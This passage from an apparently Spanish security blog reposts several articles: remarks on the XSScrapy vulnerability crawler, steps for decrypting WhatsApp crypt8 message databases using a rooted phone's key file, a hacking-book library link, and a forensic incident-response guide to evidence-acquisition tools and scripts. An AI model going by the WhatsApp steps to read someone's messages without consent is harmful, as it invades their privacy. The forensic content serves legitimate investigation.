Se podrán ver varias trazas y los elementos que la herramienta va analizando en cada iteración. En el caso de interrumpir el proceso manualmente o que termine debido a que ya se han recorrido todos los enlaces, se genera automáticamente un fichero con nombre: “xsscrapy-vulns.txt” el cual contiene todos los resultados encontrados. Incluye cosas como las vulnerabilidades encontradas, puntos de inyección, parámetros utilizados, la petición y respuesta del servidor, etc.
Una herramienta interesante con mucho potencial y aunque a mi juicio se puede explotar mucho más el framework de Scrapy, puede resultar muy instructiva para aprender detalles avanzados del framework, eso si, solamente si estas dispuesto a ver el código y entender cómo funciona, algo que desde luego te recomendaría ya que tiene detalles técnicos muy valiosos y que te ayudarán a aprender ciertos “trucos” a la hora de crear tus propias herramientas.

Fuente: http://thehackerway.com/2015/03/12/xsscrapy-para-procesos-de-crawling-e-identificacion-de-vulnerabilidades/

lunes, 9 de marzo de 2015

Desencriptar archivos crypt8

WhatssApp ha modificado en su ultima actualización su proceso de encriptación.

La validación de los nuevos ficheros crypt8 se hace ahora mediante una key que se encuentra en un fichero del mismo nombre de una carpeta del terminal (no de la tarjeta).

Para la operatoria es imprescindible tener acceso root al teléfono, pues al parecer es la única manera de copiar el fichero key a la tarjeta, aunque creo que existe otra posibilidad mediante la propia opción zip. de Android que aún no lo he probado.


Pre-requsitos:

-Tener el celular rooteado.
-Instalar algún gestor de archivos root.
-Acceso físico

Pasos a seguir:

-Copiar la key de la dirección "data/data/com.whatsapp/files/key"
-Copiar la base de datos de la dirección "/sdcard/WhatsApp/Databases"
-Descargar y ejecutar "WhatsApp Viewer".
-Dentro de ""WhatsApp Viewer". pulsa el botón inicio, seleccionar crypt8 , seleccionar la key y la base de datos y luego el la entregara sin encriptar.
-Darle open y listo.

Fuentes:
http://www.indetectables.net/viewtopic.php?f=12&t=49989&sid=00c28ae557ee3969ff27312932b6e69e
http://secure-tec.blogspot.com.co/2014/03/descifrando-msgstoredbcrypt5-la-nueva.html
http://www.flu-project.com/2014/11/descifrando-bases-de-datos-whatsapp_10.html
http://www.recovermessages.com/
http://andesken.com/visualizar-mensajes-whatsapp-desde-windows/

Libreria de libros de seguridad informática

Aqui podran encontrar libros en descarga directa:

http://cnqzu.com/library/Anarchy%20Folder/Computers/Hacking,%20Security/


Muy buena librería.

INCIDENT RESPONSE: ADQUISICIÓN DE DATOS CON SCRIPTS (I)



Hola lectores,

Hoy vamos a realizar una adquisición de evidencias en un entorno comprometido.

Para ello vamos a ver que tipos de entornos nos encontramos y como se produce está adquisición.

Hoy en día nos podemos encontrar estas situaciones a la hora de obtener información de uno o varios equipos:

  1. El equipo se encuentra encendido.
  2. El equipo se encuentra apagado.
  3. El equipo es virtualizado.
  4. El equipo se encuentra en la nube.
1.- EQUIPO ENCENDIDO
Si estamos en esta situación aplicaremos el siguiente axioma. Si esta encendido no apagadlo. Si está apagado no encenderlo. Una vez clarificado esta acción procederemos a tomar las siguientes evidencias (a grandes rasgos y no importa el orden).
  • Volcado de la memoria ram
  • Obtención del archivo pagefile.sys
  • Obtención del NTUSER.DAT
  • Prefetch
  • Procesos, sesiones, conexiones, tareas, políticas, configuración de red, protocolos...
  • Ficheros del registro (SAM, SECURITY, SOFTWARE...)
  • Ficheros de Logs de windows
  • etc...
Las herramientas que utilizaremos no podrán ser intrusivas ni llevar instalación (es preferible que sean portables) y normalmente dispondremos de un disco duro externo con dos particiones, una de ellas con los programas y la otra para volcar los resultados.
Una vez lo hemos obtenido tiraremos del cable de alimentación apagando el equipo de forma abrupta y nunca lo haremos de forma ordenada ya que puede haber algún programa o proceso que elimine información precisa y necesaria. Si se trata de un portátil quitaremos la batería.
2.- EQUIPO APAGADO
Perdemos la volatilidad, es decir todo aquello que esta en ram. Aun así es una buena forma y se obtiene mucha información.
Procederemos directamente a la realización del clonado. Una vez realizado buscaremos evidencias como:
  • Prefetch
  • Datos de navegación
  • Temporales
  • Pagefile.sys (si está disponible)
  • Registro de windows
  • Perfiles del usuario
  • Ficheros borrados
  • etc...
Es importante tener en cuenta las herramientas de clonado. Con un cd-live tardaremos en clonar una eternidad al contrario de hacerlo con una clonadora.
3.- EQUIPO VIRTUAL
Otra de las mejores formas, se le pide al administrador de sistemas que nos haga un clonado virtual y listo. Dispondremos de múltiples formas de buscar evidencias según hemos visto en el punto 1 y 2.
4.- EQUIPO EN LA NUBE
Complicado el tema, ya que dependemos del proveedor y las políticas que hayamos aceptado. 
Cuando no tenemos acceso a poder instalar nada por la causa de que el hosting en la nube sea compartido con otros clientes o bien este distribuido por medio de paneles de administración la cosa se complicara. Para ello hay que solicitar una entrega de datos (lo cual perderemos la obtención de datos eliminados) o bien un clonado (si el equipo es en propiedad). 
Ambas formas y dependiendo del tipo de caso que estemos tratando tienen que ser bajo requerimiento judicial (vamos que las tiene que solicitar un juez.)
ADQUISICIÓN DE DATOS UTILIZANDO SCRIPTS
Una vez tenemos claro los puntos anteriores hay que disponer de una caja de herramientas desde la que podamos ejecutar los programas necesarios para la obtención de evidencias.
Las herramientas que dispongo en un pendrive o disco duro externo son las siguientes:
Nombre Propósito Web
7-Zip Herramienta para comprimir http://www.7-zip.org/
cports.exe Muestra puertos abiertos http://www.nirsoft.net/utils/cports.html
Cprocess.exe Muestra procesos abiertos http://www.nirsoft.net/utils/cprocess.html
dd.exe Permite el clonado de discos http://www.chrysocome.net/dd
DumpIt.exe Vuelca la memoria ram a fichero http://www.moonsols.com
ExtractUsnJrnl.exe Extrae datos de la $MFT https://github.com/jschicht/ExtractUsnJrnl
forecopy_handy.exe Herramienta para copia de grandes volumenes de datos https://code.google.com/p/proneer/downloads/list
FTK Imager.exe Herramienta para la adquisición de datos y discos http://www.accessdata.com/support/product-downloads
ftkimager.exe La misma que la anterior pero en modo comando http://www.accessdata.com/support/product-downloads
LastActivityView.exe Muestra la actividad de uso en windows http://www.nirsoft.net/utils/computer_activity_view.html
Hash Crea huellas de ficheros, carpetas y discos http://md5deep.sourceforge.net/
nmap.exe Escaneador de puertos http://nmap.org/
PeStudio.exe Análisis de malware estático http://www.winitor.com/
Pinpoint.exe Herramienta de analisis web http://www.kahusecurity.com/tools/
PrcView.exe Visor de procesos http://www.softpedia.com/progDownload/PrcView-Download-3028.html
RamCapture.exe Volcado de RAM de Belkasoft  (32-bit) http://forensic.belkasoft.com/en/ram-capturer
RamCapture64.exe Volcado de RAM de Belkasoft (64-bit) http://forensic.belkasoft.com/en/ram-capturer
RawCopy.exe Herramienta de copia de estructuras NTFS (32-bit) https://github.com/jschicht
RawCopy64.exe Herramienta de copia de estructuras NTFS (64-bit) https://github.com/jschicht
Sysinternals Set de herramientas de sysinternals http://technet.microsoft.com/en-us/sysinternals/bb545021.aspx
TrueCrypt.exe Herramienta para encriptar volumenes, datos, etc N/A
Cygwin Utilidades de Linux que funcionan en windows N/A
WinAudit.exe Da información de un equipo windows http://winaudit.codeplex.com/releases/view/123516
WMIC Set de comandos que interactuan con WMI N/A
Windows Parser Obtiene metadatos de NTFS http://redwolfcomputerforensics.com/
CSC_Parser   Permite sacar información de la cache http://redwolfcomputerforensics.com/
gmail-offline-parser  Obtiene información de gmail http://redwolfcomputerforensics.com/
Internet-History  Obtiene información de cookies, index.dat, history http://redwolfcomputerforensics.com/
Internet-Parser   Obtiene información de cookies, index.dat, history http://redwolfcomputerforensics.com/
Itunes-parser  Obtiene información sobre iTunes http://redwolfcomputerforensics.com/
Prefetch-Parser Obtiene datos sobre los ficheros prefetch http://redwolfcomputerforensics.com/
Skype-Parser   Obtiene información sobre Skype http://redwolfcomputerforensics.com/
Apache-Log-Parser  Hace informes de los logs de Apache http://redwolfcomputerforensics.com/
IIS-Log-Parser Hace informes de los logs de IIS http://redwolfcomputerforensics.com/
Recycle-Bin   Obtiene información de la papelera http://redwolfcomputerforensics.com/
Office-metadata-parser Obtiene información de los metadatos de office http://redwolfcomputerforensics.com/
RegRipper Obtiene información del registro de windows http://redwolfcomputerforensics.com/
Particularmente utilizaremos scripts para automatizar todos estos programas pudiendo utilizar Powershell, CMD, o VBS. Recordad que cuanto menos intrusivos mejor que mejor.
SCRIPTS...SCRIPTS...SCRIPTS
De esto hay mucho, yo particularmente y por experiencia utilizaría (en windows) o  bien CMD o WMIC ya que se encuentra en todas las versiones de Windows, mientras que por ejemplo PowerShell no se encuentra de forma nativa en Windows XP y hay que instalarlo manualmente.
Evidentemente en un entorno donde se encuentra Windows 7 u 8 es muy recomendable utilizar PowerShell.
Como decía hay muchos scripts en diversos lenguajes pero actualmente me decanto por estos cuatro, los cuales me han servido de base para ampliarlos o mejorarlos según mis necesidades:
  • Triage-IR - (Utiliza CMD)
  • LiveResponse (Utiliza CMD)
  • Tr3Secure (Utiliza CMD)
  • Kansa (Utiliza PowerShell)
TRIAGE-IR
Triage-ir es un script escrito por Michael Ahrendt. Obtiene la información del sistema, información de la red, secciones del registro, la información del disco y volcado de memoria. Una de las poderosas capacidades de triaje-ir está en obtener información de instantáneas de volumen.
Lleva una pequeña aplicación con GUI para que el uso sea más sencillo y permite hacer llamadas directamente a las utilidades.
Toda la información recopilada se vuelca en una carpeta nueva con la fecha y el nombre del sistema.
LIVE RESPONSE
Una de las mejores sin duda. Esta desarrollada por laboratorios Brimor y básicamente se compone de un ejecutable que va llamando a diferentes ficheros CMD que a su vez ejecutan herramientas previamente descargadas.
Es una de la más completa suite de adquisición de evidencias y el conjunto de scripts en CMD no tiene desperdicio.
Cada uno de ellos dispone de llamadas a las aplicaciones y es modular dado que se puede ejecutar en entorno de 32 y 64 bits.
Se puede descargar desde aquí. http://www.brimorlabs.com/Tools/LiveResponse.zip
TR3SECURE
Desarrollado por Corey Harrell. Es uno de los scripts que mejor definido está a la hora de organizar la información y de la cual destaca:
Preservación: Las adquisiciones las hace manteniendo permisos y timestamp de fechas.
Flexibilidad: Permite elegir el dispositivo donde almacenar las evidencias.
Gestión: Permite definir la estructura del caso que se está investigando. Muy importante cuando hay muchos.
Documentación: Cada caso tiene un registro de colección por lo que independientemente si los datos se recogen a partir de uno o diez sistemas, el analista sólo tendrá que preocuparse de la revisión de un registro.
La siguiente captura de pantalla muestra la parte del registro de la colección de los datos recogidos en el sistema.
Se puede descargar desde aquí: 
KANSA
Kansa es más un framework que un conjunto de scripts. Su potencial se encuentra en integrarlo en un sistema como Active Directory y consultar la lista de máquinas del dominio. Los resultados son espectaculares cuando tienes una red grande y necesitas aplicar consultas masivas.
image004
image005
Kansa actualmente se puede descargar desde aquí, https://github.com/davehull/Kansa

Conclusiones, muchas, para gustos los colores, lo importante es sentirse cómodo con los scripts que uno maneja. Estos que os he mostrado son unos pocos pero que con una dosis de paciencia y adaptándolos se pueden hacer grandes cosas.

De todas formas si quieres ver como se personalizan y aprender a utilizar "scripting" con diversos lenguajes y entre ellos WMI no te pierdas el curso de "Análisis Forense en profundidad" que desde SECURIZAME  ha organizado y del cual te puedes registrar desde aquí.
¡¡Saludos!!
 
Fuente: http://conexioninversa.blogspot.com/2015/02/incident-response-adquisicion-de-datos.html